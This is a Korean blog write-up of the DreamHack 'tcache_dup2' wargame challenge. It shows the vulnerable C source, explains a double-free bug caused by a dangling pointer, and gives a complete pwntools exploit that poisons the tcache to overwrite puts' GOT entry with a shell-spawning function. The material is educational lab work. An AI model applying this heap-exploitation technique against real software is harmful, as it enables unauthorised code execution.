소스코드 및 보호 기법
Partial RELRO가 적용돼있으니 tcache_dup과 마찬가지로 GOT overwrite 공격을 고려해볼 수 있겠다. 소스코드에 청크의 데이터를 출력해주는 코드가 없으므로 libc base를 구하기 어려워 hook overwrite는 힘들고, while(1)을 통해 무한반복문을 돌기 때문에 bof를 통한 공격도 어렵다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while (1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
코드 분석
(1) create_heap: size를 입력받아 size 크기만큼의 청크를 할당해주고, 할당한 청크의 주소를 ptr[idx]에 담는다.
그 후, data를 입력받아 입력받은 data를 해당 chunk에 저장한다. 그리고 idx를 1 증가시킨다
(2) modify_heap: idx와 size를 입력받는다. 그 후 사용자에게서 data 값을 size만큼 입력받아 ptr[idx]의 값을 입력값으로 수정한다.
이때, size가 0x10보다 크다면 프로그램이 종료된다.
(3) delete_heap: 사용자에게서 idx를 입력받아 ptr[idx]를 free 한다.
이때, free한 후, ptr[idx]를 초기화 시켜주지 않으므로, Dangling Pointer가 발생하고, 이를 통해 Double Free Bug 취약점이 발생한다.
exploit 설계
while(1)문의 출력에 puts함수가 사용되는 것을 알 수 있다. 따라서 나는 puts_got를 overwrite 할 것이다. (처음 시도 때는 free_got를 overwrite하려 했으나 free_got를 get_shell()의 주소로 overwrite 하는 시점에 자꾸 crash가 나서 puts_got를 overwrite 하였더니 shell이 성공적으로 획득됐다. 왜 free_got를 overwrite 하려 했을 땐 crash가 났는지 추가로 찾아봐야겠다.)
1. double free bug를 이용해 tcache에 duplicated free list를 만든다
2. puts_got에 청크를 할당하고 puts_got를 get_shell()의 주소로 overwrite 하여 shell을 획득한다.
exploit(tcache_dup2.py)
from pwn import *
p = remote('host3.dreamhack.games', 9740)
e = ELF('./tcache_dup2')
def create(size, data):
p.sendlineafter(b'> ', str(1).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', data)
def modify(idx, size, data):
p.sendlineafter(b'> ', str(2).encode())
p.sendlineafter(b'idx: ', str(idx).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', data)
def delete(idx):
p.sendlineafter(b'> ', str(3).encode())
p.sendlineafter(b'idx: ', str(idx).encode())
create(0x30, b'aaaa') #idx == 0
delete(0)
#tcache[0x40]: chunk A
modify(0, 0x10, b'a'*9)
delete(0)
#tcache[0x40]: chunk A -> chunk A
puts_got = e.got['puts']
modify(0, 0x10, p64(puts_got))
#tcache[0x40]: chunk A -> puts_got -> puts -> ...
create(0x30, b'bbbb') #idx == 1
#tcache[0x40]: puts_got -> puts
get_shell = e.symbols['get_shell']
create(0x30, p64(get_shell)) #chunk allocated at puts_got -> then, overwrite puts_got to get_shell() / idx == 2
p.interactive()
**앞서 tcache_dup 에서도 설명했듯이, tcache count에 유의해야 한다. tcache count == 0이라면 chunk를 할당해줄 때 tcache를 참조하지 않기 때문이다.
'DreamHack: System Hacking > F Stage 12' 카테고리의 다른 글
tcache_dup (0) | 2023.08.02 |
---|---|
Tcache Poisoning (0) | 2023.08.02 |
tcache의 구조 및 함수들의 동작 & Double Free Bug 개요 (0) | 2023.08.02 |